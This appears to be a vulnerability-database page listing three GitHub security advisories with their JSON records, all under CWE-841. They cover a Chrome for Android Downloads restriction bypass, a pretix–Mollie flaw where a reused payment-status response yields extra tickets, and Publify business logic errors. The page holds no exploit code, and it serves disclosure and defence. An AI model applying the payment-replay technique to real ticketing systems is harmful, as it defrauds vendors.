Inappropriate implementation in Downloads in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-87503"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T01:17:07Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Downloads in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-w34h-m55r-2cf4",
  "modified": "2026-09-10T18:31:38Z",
  "published": "2026-09-09T03:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87503"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0808145027.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/497986036"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X2GQ-QH4V-9777

Vulnerability from github – Published: 2026-06-25 15:32 – Updated: 2026-06-25 15:32
VLAI
Details

Our payment integration with Mollie did not properly validate payment status responses. An attacker could use a successful payment status response from one payment and supply it to the system for a different payment, gaining access to multiple valid tickets with only one payment.

Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-57536"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T15:16:42Z",
    "severity": "MODERATE"
  },
  "details": "Our payment integration with Mollie did not properly validate payment \nstatus responses. An attacker could use a successful payment status \nresponse from one payment and supply it to the system for a different \npayment, gaining access to multiple valid tickets with only one payment.",
  "id": "GHSA-x2gq-qh4v-9777",
  "modified": "2026-06-25T15:32:02Z",
  "published": "2026-06-25T15:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57536"
    },
    {
      "type": "WEB",
      "url": "https://pretix.eu/about/en/blog/20260625-release-2026-5-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-X3RQ-R3CM-5VC4

Vulnerability from github – Published: 2022-02-09 00:00 – Updated: 2023-08-25 22:06
VLAI
Summary
Publify Business Logic Errors
Details

Publify (formerly known as Typo) prior to version 9.2.7 is vulnerable to business logic errors.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "publify_core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-0524"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-09T18:33:00Z",
    "nvd_published_at": "2022-02-08T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "Publify (formerly known as Typo) prior to version 9.2.7 is vulnerable to business logic errors.",
  "id": "GHSA-x3rq-r3cm-5vc4",
  "modified": "2023-08-25T22:06:38Z",
  "published": "2022-02-09T00:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0524"
    },
    {
      "type": "WEB",
      "url": "https://github.com/publify/publify/pull/1044"
    },
    {
      "type": "WEB",
      "url": "https://github.com/publify/publify/commit/16fceecadbe80ab0ef846b62a12dc7bfff10b8c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/publify/publify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/publify_core/CVE-2022-0524.yml"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/bfffae58-b3cd-4e0e-b1f2-3db387a22c3d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Publify Business Logic Errors"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list